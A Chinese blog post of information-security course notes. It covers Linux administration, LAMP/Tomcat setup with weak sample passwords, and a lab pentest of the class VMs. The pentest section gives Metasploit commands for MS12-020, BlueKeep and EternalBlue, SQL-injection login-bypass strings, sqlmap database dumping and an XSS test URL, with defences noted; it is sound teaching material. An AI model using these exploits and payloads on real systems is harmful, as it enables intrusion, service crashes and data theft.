信息安全实验

小嵘源码 • 2019年9月26日下午11:24 • 技术小贴 • 阅读 2425

Day1

开班总结

以企业管理的要求约束自己：自律、慎独
做好自己，帮助他人，乐于分享，团队合作

团队

团队4人

课程计划

安装Centos7
远程访问配置
LAMP搭建与Linux+Tomacat+mysql搭建js的环境
通过shell运维网站
部署zabbix实时监控网站及服务器
部署IDS(snort)入侵检测系统
对上述网站进行渗透测试和漏洞修复

需要工具

Cenos7+网站源码
AWVS
BurpSuite
OWASP ZAP
nmap
sqlmap

大佬闲谈

虚拟网络配置器–选择网卡–选择有线网卡

frp内网穿透

frp 是一个可用于内网穿透的高性能的反向代理应用，支持 tcp, udp 协议，为 http 和 https 应用协议提供了额外的能力，且尝试性支持了点对点穿透。
参考:https://github.com/fatedier/frp/blob/master/README_zh.md

信息安全实验

cdn自动节点分配知识点
x prox mox虚拟化
私有云的搭建：nas
安利工具：光速搜索

网络配置

cd /etc/sysconfig/network-script

vim ifcfg-eps33

DEVICE=esp33
HWADDR=
TYPE=Ethernet
UUID=
ONBOOT=yes   			 自动加载网卡
NM_CONTROLLED=yes
BOOTPROTO:static 		 静态ip，设为dhcp为动态ip分配
IPADDR=172.16.12.136
NETMASK=255.255.240.0
GATEWAY=172.16.12.1
DNS1=61.139.2.69
DNS2=202.98.96.68

本组ip地址范围：172.16.12.136+20

service network restart 重启网卡

VIM常用操作

:w 	保存文件但不退出
:w file 文件将修改并保存到file中
:w! 强制保存，不退出
wq! 保存退出
wq! 强制保存退出
q:  不保存直接退出
q!  强制保存退出
e!  放弃所有修改

文件查看命令ls

列表（List）显示目标内容
格式：ls [选项]… [目录或文件名]
常用命令选项：
- -l： 以长格式显示
- -a： 显示所有子目录和文件的信息，包括隐藏文件
- -A： 类似于 -a ，但不显示 . 和 .. 目录信息
- -d： 显示目录本身的属性
- -h： 以更易读的字节单位（K、M等）显示信息
- -R： 递归显示内容
- –color： 以长格式显示

进程类命令

ps

列出系统中当前运行的那些进程
格式：ps [选项]
常用命令选项：
- a：显示现行终端机下的所有程序，包括其他用户的程序
- u：以用户为第一列的格式来显示程序状况
- x：显示所有程序，不以终端机来区分
- aux： 显示所有程序，包含其他使用者的程序
往往配合 |grep 使用(|grep相当于检索)
- ps aux | grep root

[root@localhost ~]# ps -aux | grep "events/3"
root       9534  0.0  0.0 112704   956 pts/0    S+   05:05   0:00 grep --color=auto events/3
这种内核线程共有32个，从events/0到events/31, 每个处理器核对应一个 events内核线程。用来处理内核事件很多软硬件事件(比如断电，文件变更)被转换为events，并分发给对相应事件感兴趣的线程进行响应。

kill

杀死进程
格式：kill [选项] [进程号(PID)]
常用命令选项：
- -9： 使 kill 的级别更高

提权思路

内核提权
进程注入提权

蜜罐

采集攻击手段，可采集脚本，生成字典
网络陷阱，可溯源复现

在以前，蜜罐是用来抓熊的。通过伪装成“食物”引诱熊前来享用，最后猎人再将熊一举拿下。
到了今天，蜜罐技术已经成为网络安全中的一种入侵诱饵，目的是引诱黑客前来攻击，并收集黑客相关的证据和信息。
所以蜜罐存在的意义就是——被攻击、被探测、被攻陷…

Web渗透思路

信息收集（主动与被动）

数据链路层漏洞探测：arp攻击

IP传输层服务端口发现与判断

应用层漏洞发现：XXE、XFF等

WIFI密码破解思路

抓包配合奶瓶暴力破解
AP信道干扰，本地路由器复制信道，实现登录认证为本地路由器认证
构造伪AP与原AP冲突，使原WIFI断开重连，社工盗取路由器密码，可盗用之

toDO：学习WIFI协议

Day2

Linux为啥要学

Linux系统是一个多用户多任务的操作系统，开源免费，更安全，兼容性更好

虚拟化闲谈

虚拟化技术

网络虚拟化
系统虚拟化
存储虚拟化

虚拟化软件

Vmware Workstation，KVM，Openstar…

参考链接

虚拟机使用闲谈

快照

克隆

由于网卡的冲突，需要删除克隆机器的uuid(网络配置文件中)

暂停
网络获取来源

Centos基础

目录结构

bin所有用户可以使用的命令
sbinroot用户可以使用的命令
bootLinux 启动引导配置文件
dev存储设备文件（包括硬盘等）
etc系统服务应用配置文件
home普通用户的家目录（相当于 windows C盘中的 Users）
lib一些函数的库文件
lost+found无实际意义，表示有一个磁盘挂载到根下
media挂载光盘等外来存储介质
mnt同 media
opt安装外围大型程序
proc开机才有的配置文件（不开机时无该目录）
rootroot用户的家目录
selinux对程序进行控制，安全性比较高
srv暂时不管
sys系统配置文件
tmp临时文件
usr一些外部程序也会安装在这
var日志网站根目录

通过文件的颜色区分功能：

蓝色：目录
天蓝色：连接文件
黑色：普通文件
绿色：执行文件

[root@localhost ~]# 表示当前登录的用户是root

当前登录的用户名

主机名

当前所在的目录

文件及目录命令

ls

列表（List）显示目标内容
格式：ls [选项]… [目录或文件名]
常用命令选项：
- -l： 以长格式显示
- -a： 显示所有子目录和文件的信息，包括隐藏文件
- -A： 类似于 -a ，但不显示 . 和 .. 目录信息
- -d： 显示目录本身的属性
- -h： 以更易读的字节单位（K、M等）显示信息，
- -R： 递归显示内容
- –color： 以长格式显示

[root@localhost /]# ll
lrwxrwxrwx.   1 root root    7 Jul 18 11:41 bin -> usr/bin
l：文件类型(d是文件夹,l是连接文件,-是普通文件) 
rwxrwxrwx. :创建用户权限,用户属组权限,其他用户权限，是否存在acl(+表示存在acl)
1 root root ：连接头 属主(所有者) 属组
7 Jul 18 11:41 ：修改日期
bin -> usr/bin ：文件名,连接到/usr/bin

属主：u
属组：g
其他用户：o
所有用户：a
r = 4,w=2,x=1

pwd

cd

相对路径与绝对路径

cd .   当前目录
cd ..  上一级目录

su

su root 切换到root用户

mkdir

创建新的目录（Make Directory）
格式：mkdir [-p] [/路径/]目录名
选项：
- -p： 递归创建

mkdir /home/{aa,bb,cc}
[root@localhost /]# cd /home
[root@localhost home]# ls
aa  bb  cc

[root@localhost home]# mkdir -p 11/22/33
[root@localhost home]# ls
11  aa  bb  cc
[root@localhost home]# cd 11
[root@localhost 11]# cd 22

touch

新建空文件，或更新文件时间标记
格式：touch 文件名…

rm

删除（Remove）文件或目录
格式：rm [选项]… 文件或目录
选项：
- -r： 递归删除整个目录树
- -f： 强制删除文件或目录，不进行提醒
- -i： 删除文件或目录时提醒用户确认

mv

移动（Move）文件或目录
- 若目标位置与源文件位置相同，则相当于改名
格式：mv [选项]… 源文件或目录… 目标文件或目录

cp

复制（Copy）文件或目录
格式：cp [选项]… 源文件或目录名… 目标文件或目录
常用命令选项：
- -r： 递归复制整个目录树
- -p： 保持原文件的属性不变
- -f： 强制覆盖目标同名文件或目录
- -i： 需要覆盖文件或目录时进行提醒

查看文件目录命令

cat

显示文件全部内容
格式：cat [-n] 文件…
- 可以同时查看多个文件
常用命令选项：
- -n： 给输出的所有行加上编号
常见应用：
- cat a b ... > c
  - 将文件a 文件b 等文件的内容导入文件c 中
  - > 并不仅限于和 cat 搭配，它还可以与 ls 等搭配，只要是把文本导入某文件，都可以用
- cat a |grep text
  - 检索文件a 里的关键字text 相关文本
- cat a |grep -v text
  - 显示去除关键字text 相关文本后的文件a
- cat a |sort
  - 将文件a 文本排序再显示
  - 数字按照 123
  - 字母按照 abc
- cat a |uniq
  - 将文件a 文本去重再显示
  - 只有两行完全一样才被视为重复
- cat a |wc -l
  - 计算文件a 的行数
- cat a >> b
  - 文本重定向
  - 即将文件b 变为文件a 的复制

head

显示文件开头几行
格式：head 文件

tail

显示文件末尾几行
格式：tail 文件

按页显示文件全部内容
- space 下一页
- b 上一页
- q 退出
格式：more 文件

less

类似于 more 但更加灵活，可以使用如 PageUp、PageDown 这种翻看操作
格式：less 文件

查找命令

find

用于查找文件或目录
格式：find [查找范围] [查找条件] [查找内容]
常用查找条件：
- -name： 按文件名称查找
- -size： 按文件大小查找
- -user： 按文件属主查找
- -type： 按文件类型查找
- -perm： 按权限树查找
示例
- find -name 111.txt：当前路径下搜索文件111.txt
- find /root/桌面 -name 111.txt：/root/桌面目录下搜索文件111.txt
- find /root/桌面 -user root:/root/桌面目录下搜索属主为root的文件
- find /root/桌面 -nouser：/root/桌面目录下搜索作废用户的文件
- find /root/桌面 -empty：/root/桌面目录下搜索空文件和空目录
- find /root/桌面 -amin -10：/root/桌面目录下搜索最后 10分钟访问的文件
- find /root/桌面 -atime -10：/root/桌面目录下搜索最后 10天访问的文件
- find /root/桌面 -mmin -10：/root/桌面目录下搜索最后 10分钟修改的文件
- find /root/桌面 -mtime -10：/root/桌面目录下搜索最后 10天修改的文件
- find /root/桌面 -perm 777：/root/桌面目录下搜索权限数为777的文件
- find /root/桌面 -size +3m：/root/桌面目录下搜索大于3m的文件

grep

查找内容

[root@localhost 22]# grep root /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin

通配符

通配符，指包含这些字符的字符串“？”，“*”，“[]”，{}

通配符含义===>匹配文件名

符号	作用
*	匹配任何字符串／文本，包括空字符串；代表任意字符（0个或多个） ls file
?	匹配任何一个字符（不在括号内时）?代表任意1个字符 ls file 0
[abcd]	匹配abcd中任何一个字符
[a-z]	表示范围a到z，表示范围的意思 []匹配中括号中任意一个字符 ls file 0
{..}	表示生成序列. 以逗号分隔，且不能有空格
[!abcd]	或[^abcd]表示非，表示不匹配括号里面的任何一个字符

特殊符号

|     #管道符，或者（正则）
>     #输出重定向
>>    #输出追加重定向
<     #输入重定向
<<    #追加输入重定向
~     #当前用户家目录
`` $() #引用命令被执行后的结果
$     #以。。。结尾（正则）
^     #以。。。开头（正则）
*     #匹配全部字符，通配符
？    #任意一个字符，通配符
#       #注释
&       #让程序或脚本切换到后台执行
&&      #并且 同时成立
[]      #表示一个范围（正则，通配符）
{}      #产生一个序列（通配符）
.       #当前目录的硬链接
..      #上级目录的硬链接

参考链接

文件权限

chmod

格式：chmod [选项] 文件或目录
数字方式
- 选项为三个数字，每个数字都可以选择 0-7
  - 三个数字表示三个组的权限
    - 第一个数字表示所有者的权限
    - 第二个数字表示所属分组的权限
    - 第三个数字表示所有用户的权限
  - 0-7 表示拥有的权限，其本质为三位的二进制数
    - 0/1（最低位）表示是否可执行为1表示有可执行权限，为0表示没有
    - 0/2（第二位）表示是否可写为1表示有可写权限，为0表示没有
    - 0/4（最高位）表示是否可读为1表示有可读权限，为0表示没有
    - 选择好权限后，将该三位二进制数装变成10进制数，放在对应的组别即可
- 典型示例
  - chmod 777 1.txt
    - 表示赋予 1.txt 所有权限，即所有者、所属分组用户、所有用户都对 1.txt 又有可读，可写，可执行权限
增减方式
- 选项为对应组+/-权限
  - 对应组
    - u 代表所有者
    - g 代表所属分组
    - o 代表所有用户
  - 加减
    - + 代表增加权限
    - – 代表去除权限
  - 权限
    - r 代表可读权限
    - w 代表可读权限
    - x 代表可执行权限
- 典型示例
  - chmod o-wx 1.txt
    - 表示删去 1.txt 其他用户的可写可执行权限
  - chmod u=—,g=—,o=r-x 1.txt
  - chmod a=rwx 1.txt

chown

更改文件的属主和属组
格式：chown [-R] 属主名:属组名文件或目录
常用命令选项
- -R： 递归方式更改属主
典型示例
- chown -R root:root www
- chown -R apache www
  - 只把使用者改为 Apache
- chown -R :Apache www
  - 只把属组改为 Apache

ACL

针对其他用户，用以分配临时权限

setfacl -m u:student:rwx test
- 创建acl规则，使student用户对于test文件具有rwx的权限
getfacl test
- 查看test文件的acl规则
setfacl -x u:student test
- 删除一条ACL规则
setfacl -b test
- 删除test目录所有ACL规则

sbit

粘滞位权限(强制位权限)

chmod o+t files/
- 需要root用户才能添加t权限
- drwxr-xr-t. 2 root root 6 Jul 18 23:18 files
- --x->t --- ->T
- 可以实现只有文件所有者才能删除该文件

sgid

以所属组的身份去执行

chmod g+s files/
drwxr-sr-t. 2 root root 6 Jul 18 23:18 files
--x->s --- ->S
可以实现只有将文件的权限属组设置为用户的属组

suid

以所有者的身份执行(只针对文件，不针对目录)

用户与组管理

用户的基本信息与密码信息分开存储于passwd和shadow！

root:x:0:0:root:/root:/bin/bash 用户名：密码占位符：uid：gid：用户组：组目录：登录方式

root:$6$prdKEBNl3oa246t4$JNBx/LTIuaVD3KQpDGu6T5d8dQ4sKcgxoQSHNxvfztCcADgUvEHOhX3rAlptlqcT0qGfJoXVsudK6IWXqKY6M/::0:99999:7::: 第二字段表示密码

用户分类：

超级用户

普通用户

虚拟用户：不能登陆系统，针对具体应用(如匿名用户之于ftp)才有效

用户组的目录：

/etc/group :存放组基本信息

/etc/gshadow：存放组密码信息

useradd

添加用户(会生成用户，用户家目录，用户同名组)
格式：useradd [选项]… 用户名
常用命令选项
- -u： 指定 UID 标记好
- -d： 指定宿主目录，缺省为 /home/用户名
- -e： 指定账号失效时间
- -g： 指定用户的基本组名（或 UID）
- -G： 指定用户的附加组名（或 GID）
- -M： 不为用户建立并初始化宿主目录
- -s： 指定用户的登录 Shell
  - useradd -s /sbin/nologin student

passwd

root用户： passwd student
普通用户：passwd

userdel

删除用户
格式：userdel [-r] 用户名
常用命令选项
- -r： 连同用户宿主目录一并删除

usermod

usermod -l stu student
-L 锁定用户
-U 解锁用户

groupadd

添加用户组
格式：groupadd [选项]… 用户组名
常用命令选项
- -g： 指定一个 GID

gpasswd

用户组管理

-a 将用户添加到组
- gpasswd -a student root iangstudent添加到root组
-A 将用户设置为组管理员
-d 将用户从组删除

为用户组设置密码：gpasswd

普通用户临时加入到组，并享有组的权限：newgroup

人事部有两个员工（rs1 rs2),其中rs1为组rsb的管理员，rsb组的密码是：123456
/mnt/rsb文件 drwxr-x--- rs1 rsb
现在有一个员工：zjl  想有临时权限查看rsb目录中的文件？

groupdel

删除用户组
格式：groupdel 用户组名

任务

任务内容

项目一组：
用户组：xm1z
用户：xm11 (组管理员) xm12
文件：/mnt/xm1z

项目二组：
用户组：xm2z
用户：xm21 (组管理员) xm22
文件：/mnt/xm2z

管理团队用户：
用户组：glz
用户：xmjl（项目经理）  rsjl（人事经理）  xmzl（经理助理）
文件：/mnt/wan19
要求：
每组的文件夹只允许本组的同学访问，并可以读写文件，并且建立的文件所属组为员工所在的组，但只能删除自己的文件，不能删除别人的文件。**其他组的同学对本组的文件没有任何权限**。其中管理团队的xmjl对各组文件具有读写执行的权限。
每组的管理员可以管理本组员工的帐号。

新建用户和组

[root@localhost etc]# groupadd xm1z		# 建立xm1z组
[root@localhost etc]# groupadd xm2z		# 建立xm2z组
[root@localhost etc]# groupadd glz		# 建立glz组
[root@localhost etc]# mkdir /mnt/xm1z	# 创建xm1z文件夹
[root@localhost etc]# mkdir /mnt/xm2z	# 创建xm2z文件夹
[root@localhost etc]# mkdir /mnt/wan19	# 创建wan19文件夹
[root@localhost etc]# useradd xm11		# 添加用户xm11
[root@localhost etc]# useradd xm12		# 添加用户xm12
[root@localhost etc]# useradd xm21		# 添加用户xm21
[root@localhost etc]# useradd xm22		# 添加用户xm22
[root@localhost etc]# useradd xmj1		# 添加用户xmj1
[root@localhost etc]# useradd rsj1		# 添加用户rsj1
[root@localhost etc]# useradd xmz1		# 添加用户xmz1
[root@localhost mnt]# gpasswd -a xm12 xm1z
[root@localhost mnt]# gpasswd -a xm11 xm1z
[root@localhost mnt]# gpasswd -a xm21 xm2z
[root@localhost mnt]# gpasswd -a xm22 xm2z
[root@localhost mnt]# gpasswd -a xmj1 glz
[root@localhost mnt]# gpasswd -a rsj1 glz
[root@localhost mnt]# gpasswd -a xmzl glz
[root@localhost mnt]# gpasswd -a xmz1 glz
[root@localhost etc]# gpasswd -a xm11 xm1z # 将xm11添加为xm1z组的管理员
[root@localhost etc]# gpasswd -a xm21 xm2z # 将xm21添加为xm2z组的管理员

更改文件夹属组

初始状态

drwxrwx---. 2 root root 6 Jul 18 23:56 wan19
drwxrwx---. 2 root root 6 Jul 18 23:53 xm1z
drwxrwx---. 2 root root 6 Jul 18 23:53 xm2z

[root@localhost mnt]# chown -R :xm1z xm1z
[root@localhost mnt]# chown -R :xm2z xm2z
[root@localhost mnt]# chown -R :glz wan19/
[root@localhost mnt]# chmod g+s xm1z

drwxrws---+ 2 root glz   6 Jul 18 23:56 wan19
drwxrws--T+ 2 root xm1z 33 Jul 19 02:53 xm1z
drwxrws---+ 2 root xm2z 20 Jul 19 02:48 xm2z

文件夹权限设置

初始状态：

[root@localhost mnt]# ll
total 0
drwxr-xr-x. 2 root root 6 Jul 18 23:56 wan19
drwxr-xr-x. 2 root root 6 Jul 18 23:53 xm1z
drwxr-xr-x. 2 root root 6 Jul 18 23:53 xm2z

设置文件删除权限

[root@localhost mnt]# chmod o+t wan19/ xm1z/ xm2z/
drwxrwx--T. 2 root glz  6 Jul 18 23:56 wan19
drwxrwx--T. 2 root xm1z 6 Jul 18 23:53 xm1z
drwxrwx--T. 2 root xm2z 6 Jul 18 23:53 xm2z

设置读写文件权限

[root@localhost mnt]# chmod u=rwx,g=rwx,o=--- xm1z/ xm2z/ wan19/
drwxrwx---. 2 root glz  6 Jul 18 23:56 wan19
drwxrwx---. 2 root xm1z 6 Jul 18 23:53 xm1z
drwxrwx---. 2 root xm2z 6 Jul 18 23:53 xm2z

切换用户读访问测试

[root@localhost mnt]# su xm11
[xm11@localhost mnt]$ ll
drwxrwx---. 2 root glz  6 Jul 18 23:56 wan19
drwxrwx---. 2 root xm1z 6 Jul 18 23:53 xm1z
drwxrwx---. 2 root xm2z 6 Jul 18 23:53 xm2z
[xm11@localhost mnt]$ cd xm1z
[xm11@localhost xm1z]$ cd ..
[xm11@localhost mnt]$ cd xm2z
bash: cd: xm2z: Permission denied
[xm11@localhost mnt]$ cd wan19/
bash: cd: wan19/: Permission denied

[root@localhost mnt]# su xm21
[xm21@localhost mnt]$ ll
drwxrwx---. 2 root glz  6 Jul 18 23:56 wan19
drwxrwx---. 2 root xm1z 6 Jul 18 23:53 xm1z
drwxrwx---. 2 root xm2z 6 Jul 18 23:53 xm2z
[xm21@localhost mnt]$ cd xm1z/
bash: cd: xm1z/: Permission denied
[xm21@localhost mnt]$ cd xm2z/
[xm21@localhost xm2z]$ cd ..
[xm21@localhost mnt]$ cd wan19/
bash: cd: wan19/: Permission denied

文件删除测试

[root@localhost mnt]# su xm11
[xm11@localhost mnt]$ cd xm1z
[xm11@localhost xm1z]$ touch 11.txt
[xm11@localhost xm1z]$ su root
[root@localhost xm1z]# su xm12
[xm12@localhost xm1z]$ cd xm1z
bash: cd: xm1z: No such file or directory
[xm12@localhost xm1z]$ cd /mnt
[xm12@localhost mnt]$ cd xm1z
[xm12@localhost xm1z]$ ll
-rw-rw-r--. 1 xm11 xm11 0 Jul 19 02:30 11.txt
[xm12@localhost xm1z]$ rm 11.txt
rm: remove write-protected regular empty file ‘11.txt’?
[xm12@localhost xm1z]$ ll
-rw-rw-r--. 1 xm11 xm11 0 Jul 19 02:30 11.txt

文件权限设置

[root@localhost mnt]# cd xm1z/
[root@localhost xm1z]# ll
total 4
-rw-rwxr--+ 1 xm11 xm11 133 Jul 19 02:42 11.txt
[root@localhost xm1z]# chmod o-rwx *
[root@localhost xm1z]# ll
total 4
-rw-rwx---+ 1 xm11 xm11 133 Jul 19 02:42 11.txt
....

超级管理员xmj1权限设置

[root@localhost mnt]# setfacl -m u:xmj1:rwx xm1z/ xm2z/ wan19/

访问测试：

[root@localhost mnt]# su xmj1
[xmj1@localhost mnt]$ cd xm1z/
[xmj1@localhost xm1z]$ ll
-rw-rwxr--+ 1 xm11 xm11 0 Jul 19 02:30 11.txt
[xmj1@localhost xm1z]$ cat 11.txt
[xmj1@localhost xm1z]$ vim 11.txt
[xmj1@localhost xm1z]$ cat 11.txt
:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!:i am power!

Day3

搭建LAMP

安装apache：

yum install httpd httpd-devel
systemctl start  httpd
systemctl enable  httpd		# 设置httpd服务开机启动

防火墙设置开启80/443端口：

firewall-cmd --permanent --zone=public  --add-service=http
firewall-cmd --permanent --zone=public  --add-service=https
firewall-cmd --reload

安装MySQL：

yum install mariadb mariadb-server mariadb-libs mariadb-devel
rpm -qa |grep maria
systemctl start  mariadb 
systemctl enable  mariadb 
mysql_secure_installation  # 数据库安全设置
mysql -u root -p		# 测试
#------#
mysqldump couman --user=root --password=123456>db-01.mysql;	# 数据库的备份

安装PHP：

yum -y install php
rpm -ql php/etc/httpd/conf.d/php.conf/etc/httpd/conf.modules.d/10-php.conf/usr/lib/httpd/modules/libphp5.so/usr/share/httpd/icons/php.gif/var/lib/php/session
yum install php-mysql
rpm -ql php-mysql/etc/php.d/mysql.ini/etc/php.d/mysqli.ini/etc/php.d/pdo_mysql.ini/usr/lib/php/modules/mysql.so/usr/lib/php/modules/mysqli.so/usr/lib/php/modules/pdo_mysql.so
yum install -y php-gd php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-snmp php-soap curl curl-devel php-bcmath	#安装常用模块

重启apache服务器：systemctl restart httpd

发布网站

网站存放的默认目录：/var/www/html

将网站文件夹放到html文件下即可！

效果图

使用Tomcat搭建网站

安装JDK

首先查看自己的机器上是否已经自带openjdk，命令如下：

rpm -qa | grep jdk

如果存在，则按照如下命令进行依次卸载：

yum -y remove fileName

下载jdk：http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html

创建java家目录：mkdir -p /usr/local/java，将jdk-8u161-linux-x64.tar.gz解压并复制到该目录下

vim /etc/profile

在该文件末尾加上如下内容：

export JAVA_HOME=/usr/local/java/jdk1.8.0_211
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH

重新加载配置文件：source /etc/profile

[root@localhost local]# java -version

java version “1.8.0_151”

Java(TM) SE Runtime Environment (build 1.8.0_151-b12)

Java HotSpot(TM) 64-Bit Server VM (build 25.151-b12, mixed mode)

输出上面的版本信息即代表安装成功。

安装Maven

下载maven包：wget https://archive.apache.org/dist/maven/maven-3/3.5.0/binaries/apache-maven-3.5.0-bin.tar.gz

创建maven家目录：mkdir -p /usr/local/maven并将之前下载的包解压并复制到该目录

修改配置文件：vim /etc/profile

export JAVA_HOME=/usr/local/java/jdk1.8.0_211
export JRE_HOME=${JAVA_HOME}/jre
export MAVEN_HOME=/usr/local/maven/apache-maven-3.5.0 #增加此行
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:${MAVEN_HOME}/bin:$PATH #修改此行

source /etc/profile

[root@localhost a]# mvn -v

Apache Maven 3.5.0 (ff8f5e7444045639af65f6095c62210b5713f426; 2017-04-04T03:39:06+08:00)

Maven home: /usr/local/maven/apache-maven-3.5.0

Java version: 1.8.0_151, vendor: Oracle Corporation

Java home: /usr/local/java/jdk1.8.0_151/jre

Default locale: zh_CN, platform encoding: UTF-8

OS name: “linux”, version: “3.10.0-514.16.1.el7.x86_64”, arch: “amd64”, family: “unix”

至此，我们就完美的完成了maven的安装和配置。

安装git

yum -y install git

安装mysql并导入数据库

[root@nmserver-7 ~]# yum install mariadb mariadb-server mariadb-libs mariadb-deve
[root@nmserver-7 ~]# systemctl start  mariadb 
[root@nmserver-7 ~]# systemctl enable  mariadb
[root@nmserver-7 ~]# systemctl status  mariadb
[root@nmserver-7 ~]# mysql_secure_installation  配置root用户的密码为:123456)

安装tomcat

下载linux下的Tomcat压缩包 apache-tomcat-8.5.13.tar.gz，解压后放到/var/tomcat/目录下

启动与关闭tomcat：

/apache-tomcat-8.5.13/bin/startup.sh
/apache-tomcat-8.5.13/bin/shutdown.sh

开放8080端口：

firewall-cmd –zone=public –add-port=8080/tcp –permanent

centos7 已经更改了防火墙策略，所以使用这种方式来打开端口：
--zone #作用域
--add-port=8080/tcp #添加端口，格式为:端口/通讯协议
--permanent #永久生效，没有此参数重启后失效
重启防火墙:firewall-cmd --reload

发布电商网站

创建数据库：create database jspgou CHARACTER SET utf8 COLLATE utf8_general_ci;

导入数据库：mysql -u root -p jspgou</var/tomcat/apache-tomcat-8.5.13/DB/jspgou.sql

将程序解压后的ROOT文件夹拷贝到tomcat安装目录下的webapps文件夹下。

配置数据库连接：/var/tomcat/apache-tomcat-8.5.41/webapps/ROOT/WEB-INF/config

jdbc.url=jdbc:mysql://127.0.0.1:3306/jspgou?characterEncoding=UTF-8
jdbc.username=root
jdbc.password=123456

启动tomcat

./startup.sh

效果图

访问网站后台：http://192.168.75.140:8080/jeeadmin/jspgou/index.do

遇到坑不能访问，重启即可！

shell脚本设计

备份数据库

mysqldump jspgou --user=root --password=123456>`date +%Y%m%d`db-01.mysql

备份日志

cp -R /var/log/httpd /httpdbak/`date +%Y%m%d` httpdbak

示例脚本

#!/bin/bash
BAK_DIR=/data/backup/mysql/`date +%Y-%m-%d`
MYSQLDB=jspgou
MYSQLPWD=123456
MYSQLUSER=root
#must use root user run scripts
if [ $UID -ne 0 ];then
echo -e "33[43;31m This script must use the root user! 33[0m"
sleep 2
exit 0
fi
#Define DIR and mkdir DIR
if [ ! -d $BAK_DIR ];then
mkdir -p $BAK_DIR
fi
#Use mysqldump backup Databases
/usr/bin/mysqldump -u $MYSQLUSER -p$MYSQLPWD -d $MYSQLDB>$BAK_DIR/${MYSQLDB}bak.sql
echo "The mysql backup successfully"

[root@localhost shell]# vim dump2.sh
[root@localhost shell]# ./dump2.sh
The mysql backup successfully

Day4

实验环境

win7虚拟机，网络桥接
PHPstudy，安装有grade网站
tomcat，安装有jspgou在线商城

端口发现

使用nmap扫描之：

漏洞扫描

使用nessus扫描之：

漏洞利用(系统)

MS12-020

漏洞介绍：

（全称：Microsoft windows远程桌面协议RDP远程代码执行漏洞）
RDP协议是一个多通道的协议，让用户连上提供微软终端机服务的电脑。 windows在处理某些对象时存在错误，可通过特制的RDP报文访问未初始化或已经删除的对象，导致任意代码执行， 然后控制系统。

漏洞利用：

nmap扫描主机，查看靶机是否开启3389端口。

nmap -p1-65535 -sV -sS -Pn -T4 target   
	-sS 是半开放扫描，比普通扫描要快
	-sV是版本检测
	-Pn是不对目标主机进行存活性判断
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows XP microsoft-ds
3389/tcp open  ms-wbt-server Microsoft Terminal Service

如果3389开放，说明可能存在漏洞

cmd开启3389
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

使用msfconsole，利用里面的模块查看是否存在Ms12-020漏洞。

search ms12-020
	auxiliary/dos/windows/rdp/ms12_020_maxchannelids  2012-03-16      auxiliary/scanner/rdp/ms12_020_check                         use auxiliary/scanner/rdp/ms12_020_chec
set rhosts 192.168.222.135
set threads 10
threads => 10
run

复现死亡蓝屏

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
set rhosts 192.168.222.135
run

防范：

关闭防火墙或者关闭3389端口
若需要用，就对防火墙配置策略，允许哪些IP才可以访问你RDP协议。

CVE-2019-0708

影响范围：

windows2003、windows2008、windows2008 R2、windows xp

漏洞原理：

远程桌面端口3389，RDP协议进行攻击
通过检查用户的身份认证，导致可以绕过认证，不用任何的交互，直接通过rdp协议进行连接发送恶意代码执行命令到服务器中去
该漏洞是“可传播的”，这意味着任何利用该漏洞的恶意软件都可能从受影响的计算机传播到受影响的计算机，就像2017年WannaCry恶意软件在全球蔓延一样，跟之前的勒索，永恒之蓝病毒差不多

漏洞利用：

漏洞探测

search cve-2019-0708
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set rhosts 192.168.222.135
run
[+] 192.168.222.135:3389  - The target is vulnerable.

由于msf不带现成exp，在Github上下载了一个poc，并攻击成功https://github.com/Ekultek/BlueKeep

防御：

如果不需要，请禁用远程桌面服务。
在运行Windows 7，Windows Server 2008和Windows Server 2008 R2的提供支持版本的系统上启用网络级别身份验证（NLA）
在企业外围防火墙处阻止TCP端口3389

MS 17-010

传说中的永恒之蓝漏洞！

漏洞原理：

漏洞出现在Windows SMB v1中的内核态函数srv!
SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时，在大非分页池(内核的数据结构，Large Non-Paged Kernel Pool)上存在缓冲区溢出。

漏洞利用：

检测是否存在漏洞

auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.222.135
run
	192.168.222.135:445   - Host is likely VULNERABLE to MS17-010!

加载攻击模块

use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.222.137
exploit

防御方法：

安装微软MS17-010补丁
关闭445端口，阻断外来非授权访问
Windows组策略关闭139、135、445等危险端口

命令提示符关闭：

netsh advfirewall set allprofile state on
netsh advfirewall firewall add rule name=deny445 dir=in action=block protocol=TCP localport=445

漏洞利用(Web)

Grade

SQL注入漏洞

万能密码登陆漏洞
联合查询注入漏洞sqlmap -u "172.16.12.249/grade/query.php?id=1"

xss漏洞

http://172.16.12.249:8080/

文件上传漏洞

jspgou

信息收集

nikto

nikto -h http://172.16.12.249:8080/ -o ./jp.html

xss测试url：http://172.16.12.249:8080/guestbook/?number=5&lng=%3Cscript%3Ealert(document.domain);%3C/script%3E

御剑

http://172.16.12.249:8080/login.jspx
http://172.16.12.249:8080/manager/html
http://172.16.12.249:8080/member/login/
http://172.16.12.249:8080/member/admin/

漏洞扫描

使用OWASP ZAP扫描之

待测试

SQL注入

万能密码

admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
'or '1'='1--
' or '1'='1--
1'xor '1'='1

优先级：and > = > or

select user,pass from users where user = '' and pass = '' or '1'='1--+

联合查询注入

测试注入点

sqlmap -u "http://172.16.12.136/inject/union.php?id=1"
Type: boolean-based blind
Type: time-based blind
Type: UNION query

暴库

sqlmap -u "http://172.16.12.136/inject/union.php?id=1" --dbs
available databases [8]:
[*] grade
[*] guestbook
[*] information_schema
[*] jspgou
[*] mysql
[*] performance_schema
[*] test
[*] ultrax

爆表

